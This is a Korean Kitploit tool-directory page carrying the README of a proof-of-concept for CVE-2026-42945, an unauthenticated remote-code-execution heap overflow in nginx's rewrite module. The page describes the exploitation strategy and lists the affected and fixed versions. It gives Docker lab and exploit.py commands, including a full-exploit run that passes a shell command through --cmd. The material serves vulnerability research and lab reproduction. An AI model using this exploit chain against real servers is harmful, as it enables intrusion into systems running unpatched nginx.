Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/f2u0a0d3/cve-2026-42945-nginx-rift-poc
Dynamic Analysis (Sandboxing)Exploit FrameworksVulnerability AnalysisWeb Application ExploitationFuzzingPenetration TestingLearning & EducationBinary ExploitationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubf2u0a0d3/cve-2026-42945-nginx-rift-poc

CVE-2026-42945-nginx-rift-poc

CVE-2026-42945 (nginx Rift)를 위한 PoC — ngx_http_rewrite_module의 힙 버퍼 오버플로. 탐지/프로브/익스플로잇 모드, 이중 환경 Docker 랩, 경험적 주소 발견, OOB 검증 오프셋 스위프를 포함합니다. 원본 공개: depthfirst.

저장소 보기
153개월 전아직 검토되지 않음

NGINX Rift — CVE-2026-42945

CVE-2026-42945에 대한 RCE 개념 증명입니다. 이는 2008년에 도입된 NGINX의 ngx_http_rewrite_module의 심각한 힙 버퍼 오버플로입니다. rewrite ... ?... + set 캡처 조합을 사용하는 서버에 대해 인증되지 않은 원격 코드 실행을 가능하게 합니다.

원본 취약점 공개: depthfirst — 자동 소스 감사 시스템을 통해 CVE-2026-42946, CVE-2026-40701, CVE-2026-42934와 함께 발견되었습니다.

Layout

root@kitploit:~
poc-CVE-2026-42945/
├── exploit.py            — improved PoC (3 modes: --check / --probe / --exploit)
├── poc.py.orig           — original depthfirst PoC (reference)
├── env/                  — dual-fixture Docker lab
│   ├── Dockerfile          (vuln: nginx commit 98fc3bb78)
│   ├── Dockerfile.patched  (patched: release-1.31.0)
│   ├── docker-compose.yml  (both services)
│   ├── nginx.conf          (vulnerable rewrite + set config)
│   ├── entrypoint.sh       (runs under setarch -R — ASLR off)
│   └── server.py           (backend stub)
├── discover-addresses.sh — extract HEAP_BASE / LIBC_BASE / system() offset from running container
├── verify.sh             — dual-fixture reproducer (exploit vuln, prove patched blocks)
├── setup.sh              — build helper (legacy single-image)
├── references.md         — full bug mechanics, exploitation strategy, mitigations
└── README.md             — this file

The Bug (TL;DR)

2패스 스크립트 엔진, is_args 플래그 동기화 불일치:

  • 길이 패스는 is_args = 0를 인식 → 원시 캡처 길이 할당
  • 복사 패스는 is_args = 1을 인식 → ngx_escape_uri(NGX_ESCAPE_ARGS) 3배 확장 → 힙 오버플로

익스플로잇: POST /spray 본문을 통한 힙 펭 슈이 (본문에서 NUL 바이트 허용, 가짜 ngx_pool_cleanup_s 심기) + 인접한 ngx_pool_t.cleanup 헤드를 손상시키는 URI 오버플로. 풀 소멸 → system(cmd).

전체 메커니즘 및 익스플로잇 전략은 references.md에 있습니다.

영향을 받는 버전 및 수정 버전

제품영향 받는 버전수정 버전
NGINX Open Source0.6.27 – 1.30.01.30.1, 1.31.0
NGINX PlusR32 – R36R36 P4, R35 P2, R32 P6

공급업체 권고사항: https://my.f5.com/manage/s/article/K000160932

빠른 시작

root@kitploit:~
# Build both fixtures
docker compose -f env/docker-compose.yml build

# Start lab (vuln=:19321, patched=:19421)
docker compose -f env/docker-compose.yml up -d

# Detect-only (no overflow trigger)
python3 exploit.py --check --host 127.0.0.1 --port 19321

# Full exploit
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
    --cmd 'echo pwned > /tmp/rift'

docker exec nginx-rift-vuln cat /tmp/rift

# Dual-fixture verify (exploit vuln + confirm patched blocks)
./verify.sh

# Teardown
docker compose -f env/docker-compose.yml down

모드

로컬호스트가 아닌 대상은 --i-have-tested-this 플래그가 필요합니다 (하드코딩된 오프셋이 배포된 빌드와 일치한다는 인정).

주소 탐색

기본 --heap-base / --libc-base / --system-offset는 번들 랩의 값입니다 (Ubuntu 22.04 / glibc 2.35 / nginx commit 98fc3bb78 / ASLR off). 새 빌드 또는 다른 libc의 경우:

root@kitploit:~
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# Copy values into exploit.py invocation

주의사항

  • 실험실 전용. 하드코딩된 오프셋은 번들된 픽스처 내에서만 안정적입니다. 프로덕션 환경에서는 대상별 오프셋 도출(정보 유출 + 오프셋 열거)이 필요합니다.
  • ASLR. 실험실은 setarch -R을 통해 ASLR을 비활성화합니다. 실제 대상은 ASLR이 활성화되어 있어 추가 정보 유출 프리미티브가 필요합니다.
  • 구성 종속성. 취약한 서페이스에는 배포된 nginx.conf에 rewrite ... ? + set $X $N 조합이 필요합니다. 많은 실제 구성에는 이 조합이 없습니다.

크레딧

  • 버그 발견 + 원본 PoC: depthfirst
  • 이 포크: --check 탐지 모드, --probe 오프셋 열거, 패치된 픽스처, 주소 탐색 도우미, 이중 픽스처 검증기 추가
도구 다운로드
모드사용 사례부작용
--check리라이트 서페이스 존재 여부 탐지없음 — 소형 프로브 URI만 전송
--probe이 빌드의 스프레이 랜딩 오프셋 열거검색 중 워커 크래시; 실행 없음
--exploit전체 RCE 체인워커 크래시 + --cmd로 system() 호출